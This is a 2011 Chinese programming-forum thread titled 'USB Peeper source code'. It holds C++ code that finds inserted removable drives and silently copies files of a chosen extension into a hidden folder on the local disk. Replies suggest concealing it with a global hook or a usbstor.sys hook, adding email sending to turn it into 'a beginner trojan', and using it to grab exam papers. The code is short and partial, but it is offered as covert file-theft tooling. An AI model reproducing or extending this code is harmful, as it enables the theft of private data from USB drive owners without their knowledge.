首页
社区
课程
招聘
7
[原创]U盘偷窥者源码
发表于: 2011-1-6 01:57 22660

[原创]U盘偷窥者源码

2011-1-6 01:57
22660
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*我的实现和网上很多人实现方法不一样,这个是自己看别人代码然后悟出来的*/
/*我们要查找的是path路径下的,后缀名为format的文件*/
void findfile(CString path,CString format)     
{   CFileFind ff;                                           //这里用的是CFileFind这个类
    CString str;  //保存你查找的具体文件的后缀名
    BOOL work = ff.FindFile(path);                          //查找指定路径下的文件
    while(work)
    {
        work = ff.FindNextFile();
        CString ss = ff.GetFileName();                 //获得文件的名字
        int t =ss.Find('.');
        str = ss.Right(ss.GetLength()-ss.Find(".",0)-1); //取点后面的字符
        str.MakeLower();  //变成小写字母
        if(t !=-1)   //表示不是一个文件夹,而是一个文件 有"."存在
        {/*我这里没考虑文件名为"."".."的两个目录,因为我认为文件名中有"."表示它是个文件而不是目
 
录,具体看代码*/
            if(str==format)
            {
                 
                CString paths = ff.GetFilePath();
                CString disk ="D:\\Copy的U盘文件";
                ::CreateDirectory(disk,NULL);//创建一个目录放拷贝过来的文件
                disk+="\\";
                disk+=ff.GetFileName();
                ::CopyFile(paths,disk,true);//拷贝文件
            }
 
         
         
        }
        else  //如果是文件夹的话,就递归查找
        {
            CString path1 = ff.GetFilePath();//其实是获取当前目录下的所有文件
            path1+="\\*.*";
            findfile(path1,format);  //递归
             
        }
         
     
    }  
     
    ff.Close();
 
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
赞赏记录
参与人
雪币
留言
时间
Youlor
为你点赞~
2024-5-31 05:15
伟叔叔
为你点赞~
2024-3-10 00:11
心游尘世外
为你点赞~
2024-1-23 00:24
QinBeast
为你点赞~
2024-1-21 00:56
shinratensei
为你点赞~
2024-1-16 02:18
飘零丶
为你点赞~
2024-1-15 00:19
PLEBFE
为你点赞~
2023-3-14 00:20
最新回复 (38)
雪    币: 1085
活跃值: (114)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
兄弟很有想法。什么专业的啊?可以交个朋友吗?因为本人平常也喜欢制作一些小的但实用的软件。
2011-1-6 08:45
0
雪    币: 1681
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
itf
3
不错 U盘杀手啊  呵呵
2011-1-6 09:03
0
雪    币: 458
活跃值: (426)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
4
char uType[] = "C:\\";
  for(;uType[0]<='Z';uType[0]++)              //遍历磁盘找到可移动磁盘,获取可移动磁盘号
  {      
    if(DRIVE_REMOVABLE ==GetDriveType(uType))//符合这个条件的就是可移动磁盘,方法有很多了
    {  memset(uDisk,0,10);//重新置零,uDisk[]用于保存U盘盘符
      uDisk[0]=uType[0];
      strcat(uDisk,":\\*.*");
      
    }
  }  

你这个会异常的。。。  字符串是常量  而你却给++了。。。

--------------------------------------邪恶的分割线-----------------------
如果是 char *uType = "C:\\"; 就会异常了   这个相当于是数组  想错了。
2011-1-6 09:18
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
5
全红字帖,好扎眼。。。
2011-1-6 09:19
0
雪    币: 599
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
很有思想,有前途啊。
2011-1-6 09:24
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=blueapplez;911978]char uType[] = "C:\\";
  for(;uType[0]<='Z';uType[0]++)              //遍历磁盘找到可移动磁盘,获取可移动磁盘号
  {      
    if(DRIVE_REMOVABLE ==GetDriveType(uType))//符...[/QUOTE]

char++,not string.....
2011-1-6 09:27
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
很好, 感谢刘强妮
2011-1-6 10:10
0
雪    币: 121
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
顶一下 不错的思路哦。。貌似说有源码滴?
2011-1-6 10:42
0
雪    币: 163
活跃值: (75)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
10
貌似见过类似的源码, 不过既然是偷窥者了,hook usbstor.sys更隐蔽些。。。呵呵
2011-1-6 11:57
0
雪    币: 270
活跃值: (97)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
11
这个自己可以实现以下,思路很清晰,在网上看到过。
2011-1-6 11:59
0
雪    币: 100
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
兄弟      几级几班        的?
2011-1-6 12:02
0
雪    币: 69
活跃值: (167)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
13
[QUOTE=blueapplez;911978]char uType[] = "C:\\";
  for(;uType[0]<='Z';uType[0]++)              //遍历磁盘找到可移动磁盘,获取可移动磁盘号
  {      
    if(DRIVE_REMOVABLE ==GetDriveType(uType))//符...[/QUOTE]

不会的,我测试了,那个uType[]是个字符串,  uType[0]是个字符,也是单个的变量,字符在C里面就是Assc值,是可以加的,所以不会出异常,你可以测试一下...
2011-1-6 12:47
0
雪    币: 69
活跃值: (167)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
14
长江大学,应用物理专业的
2011-1-6 12:47
0
雪    币: 69
活跃值: (167)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
15
我没有加这个,不过可以写个全局钩子,设置为隐藏,这个自己发挥吧,呵呵,其实还有很多可以加的,例如发邮件啦,什么的,   其实直接就可以写成一个初级的木马,自己加吧..
2011-1-6 12:49
0
雪    币: 69
活跃值: (167)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
16
可以啊,我学物理的
2011-1-6 12:50
0
雪    币: 100
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
呵呵,还不好好复习!08级的?
2011-1-6 13:01
0
雪    币: 1149
活跃值: (1008)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
18
08 级来捧场。。。lz最好能用底层实现,这样的监控更好一些。。
2011-1-6 13:45
0
雪    币: 69
活跃值: (167)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
19
我明明把源码传上来了,怎么会没有呢? 现在再传一遍吧,  原来RAR格式的没有用,我把RAR改为7z了,如果不能正常解压,请改回来!
上传的附件:
2011-1-6 14:27
0
雪    币: 69
活跃值: (167)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
20
对 08级的
2011-1-6 14:28
0
雪    币: 251
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
请问LZ对移动硬盘有办法吗?
2011-1-6 16:05
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
22
亮了。。。。
2011-1-6 16:13
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
23
绿灯,楼Z继续
2011-1-6 18:26
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
24
用timer有点搓了,WM_DEVICECHANGE是正道。
貌似以前写这东西不是为了偷卷子,倒是帮老师忙。。。。。
2011-1-6 20:43
0
雪    币: 69
活跃值: (167)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
25
呵呵,的确,改过来了。
2011-1-6 22:05
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册